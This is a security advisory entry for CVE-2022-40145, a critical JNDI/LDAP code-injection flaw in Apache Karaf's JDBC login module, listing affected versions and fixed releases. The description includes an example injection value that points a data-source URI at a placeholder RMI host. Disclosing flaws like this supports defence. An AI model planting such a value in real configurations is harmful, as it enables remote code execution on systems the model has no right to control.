CVE-2022-40145: Apache Karaf: JDBC JAAS LDAP injection

Severity: critical (CVSS 9.8 v3.1)
Exploited in the wild: not listed in CISA KEV
EPSS: 2.6% probability of exploitation in the next 30 days
Public exploit or detection template: none known
Published: 2022-12-21 · updated 2026-06-17
Weakness: CWE-20

Description

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Affected products

Apache Software Foundation Apache Karaf: before 4.3.8; from 4.4.0 before 4.4.2 — fixed in 4.3.8, 4.4.2

How to fix

Upgrade to a fixed version: Apache Software Foundation Apache Karaf 4.3.8, 4.4.2. Check the vendor advisory for mitigations.

References

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